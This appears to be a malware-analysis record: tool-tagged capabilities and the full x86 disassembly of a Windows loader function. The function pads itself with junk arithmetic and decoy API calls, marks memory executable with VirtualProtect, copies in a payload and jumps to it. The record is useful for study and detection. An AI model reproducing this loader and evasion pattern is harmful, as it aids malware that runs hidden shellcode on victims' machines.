Function at 0x4038b0
Capabilities:
Allocate or change rwx memory
Allocate thread local storage
Contain obfuscated stackstrings
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk size
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x444cab
push eax
mov eax, 0x2280
mov dword fs:[0], esp
call fcn.0040e4c0
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x94], 0x3ea69e4c
mov dword [esp + 0x6c], 0xa75e646
mov dword [esp + 0xa0], 0x577fa3f8
mov dword [esp + 0x5c], 0x438b25a3
mov dword [esp + 0x2c], 0x29fab33f
mov dword [esp + 0x80], 0x505e0b58
mov dword [esp + 0x90], 0x184b0e15
mov dword [esp + 0x3c], 0x438f1a8
mov dword [esp + 0x34], 0x7aa53dd1
mov dword [esp + 0xa4], 0x6d696344
mov dword [esp + 0x50], 0x7395b996
mov dword [esp + 0x44], 0x529df0d1
mov dword [esp + 0x74], 0x1b2cc7c9
mov dword [esp + 0x98], 0x2f3a6e3c
mov dword [esp + 0x58], 0x15a50f0b
mov dword [esp + 0x54], 0x392e66d7
mov dword [esp + 0xb0], 0x409fded6
mov dword [esp + 0x60], 0x196e606e
mov dword [esp + 0x9c], 0x1008a739
mov dword [esp + 0xa8], 0x2b503754
mov dword [esp + 0x64], 0x6c283f31
mov dword [esp + 0x78], 0x1fe64a42
mov dword [esp + 0x84], 0x2cfbabb9
mov dword [esp + 0x40], 0x7d13aa13
mov dword [esp + 0x30], 0x27080dd2
mov dword [esp + 0x68], 0x35f24af6
mov dword [esp + 0x70], 0x128f28a1
mov dword [esp + 0x38], 0xca7ff24
mov dword [esp + 0xac], 0x5b743987
mov dword [esp + 0x88], 0x4b82fe44
mov dword [esp + 0x4c], 0x4e706469
mov dword [esp + 0x48], 0x15c9b7cf
mov dword [esp + 0x7c], 0x7de33718
add dword [esp + 0x94], 0x43dc6f3e
add dword [esp + 0x94], 0x5234adfe
mov eax, 0xd75d1ba
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x94], 0x3612dc99
mov eax, 0x21f0ce88
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x94], 0x16b678f4
mov eax, 0x3d589aa2
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
mov eax, 0x50d0e58e
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
add dword [esp + 0x6c], 0x2f4c3c16
sub dword [esp + 0x2c], 0x6d26976e
add dword [esp + 0x94], 0x5084997b
add dword [esp + 0x6c], 0x20546f3a
sub dword [esp + 0x6c], 0x7e50990b
add dword [esp + 0x6c], 0x51da3524
add dword [esp + 0x3c], 0xd1bc0a8
mov eax, 0x12028c54
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x5ace5b5c
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
sub dword [esp + 0x34], 0xc4d45d2
add dword [esp + 0x2c], 0x18425e89
sub dword [esp + 0x94], 0x544f5dd7
sub dword [esp + 0x90], 0x430613d1
sub dword [esp + 0x34], 0x6b7ccfd7
add dword [esp + 0xa4], 0x1b6f0740
sub dword [esp + 0x34], 0x7e85d82
add dword [esp + 0x2c], 0x1176ccbd
mov eax, 0x5c510b1a
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
add dword [esp + 0x5c], 0x49f265ce
mov eax, 0x5fc9e501
mul dword [esp + 0x6c]
mov eax, dword [esp + 0x6c]
sub dword [esp + 0x80], 0x391bb78b
sub dword [esp + 0x74], 0x6eceeab0
add dword [esp + 0x60], 0x6506d6ea
sub dword [esp + 0xa0], 0x7471dcb7
add dword [esp + 0xb0], 0x849c80b
mov eax, 0x7ce765d1
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
add dword [esp + 0x5c], 0x5cc2d2d1
sub dword [esp + 0x5c], 0x2418b2a2
sub dword [esp + 0x9c], 0x65e75d68
sub dword [esp + 0x3c], 0x3741637b
add dword [esp + 0x2c], 0x558572a1
add dword [esp + 0x2c], 0x29b7133a
mov eax, 0x3d838243
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x3e7c7cbd
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x32fc760e
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
sub dword [esp + 0x80], 0x412269ed
sub dword [esp + 0x64], 0x62e22fff
add dword [esp + 0x60], 0x4a4cc3c5
sub dword [esp + 0x40], 0x7b8ecefd
add dword [esp + 0x60], 0x9cb6f93
mov eax, 0x5a6ccc10
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0x30], 0x783905ea
sub dword [esp + 0x78], 0x4ce8616b
sub dword [esp + 0x5c], 0x12280862
mov eax, 0x329dda48
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
add dword [esp + 0x9c], 0x6109194c
add dword [esp + 0x60], 0x53c04b57
mov eax, 0x5bd019e9
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0x98], 0x1b62c94d
sub dword [esp + 0x60], 0x855a93
add dword [esp + 0x34], 0x5450c4e6
add dword [esp + 0x40], 0x7286ab1d
mov eax, 0x281d9181
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
add dword [esp + 0x70], 0x508eaa78
add dword [esp + 0x50], 0x51c9a5e1
mov eax, 0x2f4280e1
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
mov eax, 0x1a584996
mul dword [esp + 0x84]
mov eax, dword [esp + 0x84]
add dword [esp + 0x84], 0x6c0a6a10
mov eax, 0x1905d1ef
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
cmp dword [0x2b9ec44], 0xac
jne 0x403dd6
lea eax, [esp + 0x144]
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor edi, edi
push edi
push edi
call dword [sym.imp.USER32.dll_GetWindowLongW]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor ecx, ecx
lea eax, [edi + 0x20]
lea esi, [esp + 0x128]
mov dword [esp + 0x140], 7
mov dword [esp + 0x13c], edi
mov word [esp + 0x12c], cx
call fcn.00404720
lea ecx, [esp + 0x18]
mov dword [esp + 0x2298], edi
call fcn.0040529b
lea ecx, [esp + 0x18]
call fcn.00405379
lea edx, [esp + 0x14]
push edx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], 0x402e9c
call fcn.004052ac
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x401b30
call fcn.00405379
push 1
push 0x447140
lea ecx, [esp + 0x20]
call fcn.004052ff
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], 0x401210
call fcn.00405379
push edi
call fcn.004053fd
push edi
push edi
call fcn.0040557d
push edi
push edi
call fcn.004056d1
push edi
call fcn.004053fd
push edi
push edi
call fcn.00405413
push edi
push edi
call fcn.0040542c
add esp, 0x28
push edi
call fcn.00405ae5
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebp, dword [sym.imp.USER32.dll_GetSysColorBrush]
xor esi, esi
cmp esi, 0x942e
jge 0x403e08
push 0
push 0
call edi
push 0
lea eax, [esp + 0x1290]
push eax
call ebx
push 0
call ebp
inc esi
cmp esi, 0x1545e
jl 0x403dea
add dword [0x2b9ec44], 0x11b1b
call fcn.00403890
mov edx, dword [0x2b9ec44]
mov eax, dword [0x2b9ebb8]
lea ecx, [esp + 0x28]
push ecx
push 0x40
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor esi, esi
cmp dword [0x2b9ec44], esi
jbe 0x403e98
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, dword [sym.imp.GDI32.dll_GetColorAdjustment]
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
jmp 0x403e60
mov ecx, dword [0x2ba054c]
mov dl, byte [esi + ecx + 0x11b1b]
mov eax, dword [0x2b9ebb8]
mov byte [esi + eax], dl
cmp dword [0x2b9ec44], 0xa8
jne 0x403e8f
push 0
call edi
push 0
push 0
call ebx
push 0
call ebp
inc esi
cmp esi, dword [0x2b9ec44]
jb 0x403e60
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov ebp, dword [sym.imp.KERNEL32.dll_DebugBreak]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
xor eax, eax
mov dword [esp + 0x14], eax
mov ecx, dword [0x2b9ec44]
lea edx, [eax + ecx]
cmp edx, 0xe
jne 0x403fc6
push 0
lea eax, [esp + 0xd4]
push eax
push 0
push 0
push 0
call edi
lea ecx, [esp + 0xc8]
push ecx
call ebx
call ebp
push 0x402eac
call esi
push 0
push 0x402eb8
push 0x402ed0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea edx, [esp + 0x16c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push 0x402f64
call esi
xor eax, eax
push eax
lea ecx, [esp + 0xa90]
push ecx
push 0x402f70
lea edx, [esp + 0x24]
push edx
push eax
push eax
mov word [esp + 0x30], ax
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov word [esp + 0x3e], ax
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
lea eax, [esp + 0x1a8c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0xc0]
push ecx
lea edx, [esp + 0xbc]
push edx
lea eax, [esp + 0xdc]
push eax
lea ecx, [esp + 0xd0]
push ecx
push 0x402f88
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
lea edx, [esp + 0xd0]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea eax, [esp + 0xbc]
push eax
push 0
lea ecx, [esp + 0x1294]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4f9409
mov dword [esp + 0x14], eax
jl 0x403eb6
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthW]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
push 0
push 0
push 0
push 0
call edi
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403fe7
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
nop
call edi
push 0
call ebx
cmp esi, 0x3b9f9c7
jge 0x404528
mov dword [esp + 0x10c], 0x2b23e75a
mov dword [esp + 0x114], 0x4cde8ddd
mov dword [esp + 0xf8], 0x5fd7b9a9
mov dword [esp + 0xbc], 0x36fee2ef
mov dword [esp + 0xe8], 0x7ea82ce
mov dword [esp + 0xd8], 0x7e9e0a9d
mov dword [esp + 0x124], 0x4e9d61c0
mov dword [esp + 0x108], 0x35f910ef
mov dword [esp + 0xf4], 0x1b1f4c31
mov dword [esp + 0x14], 0x3ac9bbf8
mov dword [esp + 0xc4], 0x7a15913f
mov dword [esp + 0x11c], 0x62549a1c
mov dword [esp + 0x120], 0x2a24477f
mov dword [esp + 0x104], 0x1201f2d6
mov dword [esp + 0xf0], 0x71b2ec6
mov dword [esp + 0x100], 0x480e8347
mov dword [esp + 0xe0], 0x7e45e7b5
mov dword [esp + 0xb8], 0x66ee9337
mov dword [esp + 0x110], 0x37beb127
mov dword [esp + 0xe4], 0x5f430172
mov dword [esp + 0xd0], 0x3ef75990
mov dword [esp + 0xb4], 0x17d97796
mov dword [esp + 0xec], 0x671b5d09
mov dword [esp + 0x8c], 0x12f2d2f6
mov dword [esp + 0xcc], 0x2e853ae6
mov dword [esp + 0xdc], 0x52c4b444
mov dword [esp + 0x118], 0x46a518f9
mov dword [esp + 0xfc], 0x35125e2b
mov dword [esp + 0xc8], 0x1ad10849
mov dword [esp + 0xc0], 0x381ee696
mov dword [esp + 0xd4], 0xe11e6c2
add dword [esp + 0x10c], 0x733a01c6
sub dword [esp + 0x10c], 0x28e1ea4c
sub dword [esp + 0x10c], 0x77f8656a
add dword [esp + 0x10c], 0x1b0fc675
add dword [esp + 0x10c], 0x1e76876c
mov eax, 0x6e3db233
mul dword [esp + 0x10c]
mov eax, dword [esp + 0x10c]
sub dword [esp + 0x10c], 0x65e693b6
add dword [esp + 0x10c], 0x21e4e8db
sub dword [esp + 0x10c], 0x1f11c09d
add dword [esp + 0x10c], 0x3d058891
mov eax, 0x7b9004c1
mul dword [esp + 0x114]
mov eax, dword [esp + 0x114]
add dword [esp + 0x10c], 0x7af13f7b
mov eax, 0x5b31b732
mul dword [esp + 0x114]
mov eax, dword [esp + 0x114]
mov eax, 0x32e9610c
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
sub dword [esp + 0x10c], 0x1af62962
sub dword [esp + 0xf8], 0x59def22
sub dword [esp + 0x10c], 0x4f8788a3
mov eax, 0x4b2a4fac
mul dword [esp + 0x108]
mov eax, dword [esp + 0x108]
add dword [esp + 0x114], 0x42b3cadb
add dword [esp + 0x124], 0x4aa37306
add dword [esp + 0xe8], 0x56582517
sub dword [esp + 0x10c], 0x5ae8094f
mov eax, 0x230210eb
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
sub dword [esp + 0xe8], 0x28378756
mov eax, 0x62657da2
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
add dword [esp + 0xe8], 0x2375764f
add dword [esp + 0x124], 0x11b12aed
mov eax, 0x13e95691
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
mov eax, 0x6f46e2ce
mul dword [esp + 0xd8]
mov eax, dword [esp + 0xd8]
mov eax, 0x6e95728b
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov eax, 0x45b8ee68
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
sub dword [esp + 0xbc], 0x61944033
sub dword [esp + 0x124], 0x14d29531
add dword [esp + 0x124], 0x45e7e617
add dword [esp + 0x108], 0x500e65ea
mov eax, 0x36707039
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
add dword [esp + 0x124], 0x5f1fe643
sub dword [esp + 0x104], 0x7327cae6
add dword [esp + 0x100], 0x162a0206
add dword [esp + 0x14], 0x23b42ea1
add dword [esp + 0xb8], 0x3b768056
sub dword [esp + 0xb8], 0xf6d96df
sub dword [esp + 0xbc], 0x259fb309
add dword [esp + 0xd8], 0x2f9e05b4
add dword [esp + 0xbc], 0x61dc3320
add dword [esp + 0xc4], 0x799a2ec5
add dword [esp + 0x124], 0x893cbaa
add dword [esp + 0x104], 0x15ff780
sub dword [esp + 0x104], 0xc788bba
mov eax, 0x3626429a
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
mov eax, 0x13340774
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
mov eax, 0x45badb7d
mul dword [esp + 0xe0]
mov eax, dword [esp + 0xe0]
add dword [esp + 0xe0], 0x3ddb5118
sub dword [esp + 0x114], 0x4daecf02
mov eax, 0x3bf366d7
mul dword [esp + 0x100]
mov eax, dword [esp + 0x100]
sub dword [esp + 0xc4], 0x4446398f
add dword [esp + 0xb8], 0x33b2e8ae
mov eax, 0x54e9bf20
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
sub dword [esp + 0xe8], 0x410a050d
sub dword [esp + 0xb4], 0x2588952e
add dword [esp + 0x104], 0x5218a717
mov eax, 0x7e1b1836
mul dword [esp + 0xf4]
mov eax, dword [esp + 0xf4]
mov eax, 0x1856fc37
mul dword [esp + 0x114]
mov eax, dword [esp + 0x114]
mov eax, 0x14c6a33a
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
mov eax, 0x451f6ebe
mul dword [esp + 0xb4]
mov eax, dword [esp + 0xb4]
mov eax, 0x45dccc0a
mul dword [esp + 0xf4]
mov eax, dword [esp + 0xf4]
mov eax, 0x74f05f91
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
mov eax, 0x63b4dc15
mul dword [esp + 0xbc]
mov eax, dword [esp + 0xbc]
add dword [esp + 0x120], 0x4ef084d9
cmp esi, 0xbf08bd
jg 0x40453d
inc esi
cmp esi, 0x19be898c
jl 0x404010
call fcn.00403720
xor edx, edx
cmp edx, 0x26
jne 0x40454e
call fcn.00403870
inc edx
cmp edx, 0x409495
jl 0x404544
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov edi, dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
mov ebx, 0x7b
jmp 0x404570
cmp dword [0x2b9ec44], 0x86
jne 0x4045da
xor eax, eax
xor ecx, ecx
lea edx, [esp + 0x18]
mov word [esp + 0x128], ax
mov dword [esp + 0x12a], eax
mov dword [esp + 0x12e], eax
mov dword [esp + 0x132], eax
mov word [esp + 0x136], ax
mov dword [esp + 0x1a], eax
mov dword [esp + 0x1e], eax
mov dword [esp + 0x22], eax
mov word [esp + 0x26], ax
push edx
lea eax, [esp + 0x12c]
mov word [esp + 0x1c], cx
push eax
lea ecx, [esp + 0x174]
push ecx
call edi
push 0
push 0
push 0
call esi
sub ebx, 1
jne 0x404570
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_BackupSeek]
mov ebx, dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ebp, 0x180ef
cmp dword [0x2b9ec44], 0x1f
jne 0x404644
push 0
lea edx, [esp + 0x290]
push edx
call esi
push 0
lea eax, [esp + 0x690]
push eax
call esi
lea ecx, [esp + 0x8c]
push ecx
lea edx, [esp + 0xdc]
push edx
lea eax, [esp + 0xbc]
push eax
push 0
push 0
push 0
mov dword [esp + 0xa4], 0
call edi
call ebx
sub ebp, 1
jne 0x4045f6
call fcn.00403450
mov eax, dword [0x2b9ebb8]
mov dword [0x2b9ebbc], eax
call eax
mov ecx, dword [esp + 0x2290]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x228c
ret